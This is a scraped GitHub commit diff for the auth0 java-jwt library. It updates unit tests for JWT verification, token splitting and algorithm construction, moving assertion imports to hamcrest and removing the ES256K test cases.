+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongIntegerArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", 2)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
 }     u}(jG  (d32ee85959e2bd15cea58390a650d5da605ccf72j  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj  modifiedj  Kj  Kj  K
j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -6,15 +6,15 @@
 import org.junit.rules.ExpectedException;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class TokenUtilsTest {
 
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldSplitToken() throws Exception {
+    public void shouldSplitToken() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
         String[] parts = TokenUtils.splitToken(token);
 
@@ -26,7 +26,7 @@ public void shouldSplitToken() throws Exception {
     }
 
     @Test
-    public void shouldSplitTokenWithEmptySignature() throws Exception {
+    public void shouldSplitTokenWithEmptySignature() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         String[] parts = TokenUtils.splitToken(token);
 
@@ -38,15 +38,15 @@ public void shouldSplitTokenWithEmptySignature() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithMoreThan3Parts() throws Exception {
+    public void shouldThrowOnSplitTokenWithMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 4.");
         String token = "this.has.four.parts";
         TokenUtils.splitToken(token);
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithLessThan3Parts() throws Exception {
+    public void shouldThrowOnSplitTokenWithLessThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String token = "two.parts";u}(jG  (e09661d3dc62b9fda10c178faa645e4531c68b1cj  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaj  modifiedj  K8j  KOj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XW  @@ -12,7 +12,7 @@
 import java.security.interfaces.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 import static org.mockito.ArgumentMatchers.any;
@@ -25,193 +25,193 @@ public class AlgorithmTest {
 
 
     @Test
-    public void shouldThrowHMAC256InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC256InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC256(secret);
     }
 
     @Test
-    public void shouldThrowHMAC384InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC384InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC384(secret);
     }
 
     @Test
-    public void shouldThrowHMAC512InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC512InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC512(secret);
     }
 
     @Test
-    public void shouldThrowHMAC256InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC256InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC256(secret);
     }
 
     @Test
-    public void shouldThrowHMAC384InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC384InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC384(secret);
     }
 
     @Test
-    public void shouldThrowHMAC512InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC512InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC512(secret);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA256(key);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA256(null, null);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA256(provider);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA384(key);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA384(null, null);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA384(provider);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA512(key);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA512(null, null);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA512(provider);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA256(key);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA256(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA256(provider);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA384(key);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA384(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA384(provider);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA512(key);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA512(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA512(provider);
     }
 
     @Test
-    public void shouldCreateHMAC256AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC256AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -221,7 +221,7 @@ public void shouldCreateHMAC256AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC384AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC384AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -231,7 +231,7 @@ public void shouldCreateHMAC384AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC512AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC512AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -241,7 +241,7 @@ public void shouldCreateHMAC512AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC256AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC256AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC256("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -251,7 +251,7 @@ public void shouldCreateHMAC256AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC384AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC384AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC384("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -261,7 +261,7 @@ public void shouldCreateHMAC384AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC512AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC512AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC512("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -271,7 +271,7 @@ public void shouldCreateHMAC512AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA256(key);
 
@@ -282,7 +282,7 @@ public void shouldCreateRSA256AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA256(key);
 
@@ -293,7 +293,7 @@ public void shouldCreateRSA256AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
@@ -305,7 +305,7 @@ public void shouldCreateRSA256AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA256(provider);
 
@@ -316,7 +316,7 @@ public void shouldCreateRSA256AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA384(key);
 
@@ -327,7 +327,7 @@ public void shouldCreateRSA384AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA384(key);
 
@@ -338,7 +338,7 @@ public void shouldCreateRSA384AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA384(publicKey, privateKey);
@@ -350,7 +350,7 @@ public void shouldCreateRSA384AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA384(provider);
 
@@ -361,7 +361,7 @@ public void shouldCreateRSA384AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA512(key);
 
@@ -372,7 +372,7 @@ public void shouldCreateRSA512AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA512(key);
 
@@ -383,7 +383,7 @@ public void shouldCreateRSA512AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA512(publicKey, privateKey);
@@ -395,7 +395,7 @@ public void shouldCreateRSA512AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA512(provider);
 
@@ -406,7 +406,7 @@ public void shouldCreateRSA512AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA256(key);
 
@@ -417,7 +417,7 @@ public void shouldCreateECDSA256AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA256(key);
 
@@ -428,7 +428,7 @@ public void shouldCreateECDSA256AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA256(publicKey, privateKey);
@@ -440,7 +440,7 @@ public void shouldCreateECDSA256AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA256(provider);
 
@@ -451,30 +451,7 @@ public void shouldCreateECDSA256AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() throws Exception {
-        ECPublicKey publicKey = mock(ECPublicKey.class);
-        ECPrivateKey privateKey = mock(ECPrivateKey.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-    
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
-    @Test
-    public void shouldCreateECDSA384AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA384(key);
 
@@ -485,7 +462,7 @@ public void shouldCreateECDSA384AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA384(key);
 
@@ -496,7 +473,7 @@ public void shouldCreateECDSA384AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA384(publicKey, privateKey);
@@ -508,7 +485,7 @@ public void shouldCreateECDSA384AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA384(provider);
 
@@ -519,7 +496,7 @@ public void shouldCreateECDSA384AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA512(key);
 
@@ -530,7 +507,7 @@ public void shouldCreateECDSA512AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA512(key);
 
@@ -541,7 +518,7 @@ public void shouldCreateECDSA512AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA512(publicKey, privateKey);
@@ -553,7 +530,7 @@ public void shouldCreateECDSA512AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA512(provider);
 
@@ -564,7 +541,7 @@ public void shouldCreateECDSA512AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateNoneAlgorithm() throws Exception {
+    public void shouldCreateNoneAlgorithm() {
         Algorithm algorithm = Algorithm.none();
 
         assertThat(algorithm, is(notNullValue()));u}(jG  (ef8e65e8e2fbe065a70913d59199dc5e3f5b2f8dj  @lib/src/test/java/com/auth0/jwt/algorithms/CryptoTestHelper.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -6,7 +6,7 @@
 import java.util.regex.Pattern;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.Assert.fail;
 
 public abstract class CryptoTestHelper {u}(jG  (2e636c7126a63fd79ff4b0eebb999269fb917f78j  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X/O  @@ -7,7 +7,6 @@
 import com.auth0.jwt.interfaces.JWTVerifier;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
-import org.junit.Assert;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -30,25 +29,19 @@
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.Matchers.isA;
 import static org.hamcrest.Matchers.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
-@SuppressWarnings("deprecation")
 public class ECDSAAlgorithmTest {
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public-invalid.pem";
     
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
-    private static final String ES256K_JWT = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.2ggPsc4xwQhYcgJueo3uQ14MpaVJ3AbEE8UE-wA9fc8SMibeW54gjZbikL-JBHqhEwc22Cp8DNOtadXsM81RGQ";
-    
     private static final String PRIVATE_KEY_FILE_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public-invalid.pem";
@@ -118,7 +111,7 @@ public void shouldPassECDSA256VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -191,112 +184,7 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
         Algorithm algorithm = Algorithm.ECDSA256((ECKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256, "EC"));
         algorithm.verify(JWT.decode(jwt));
     }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
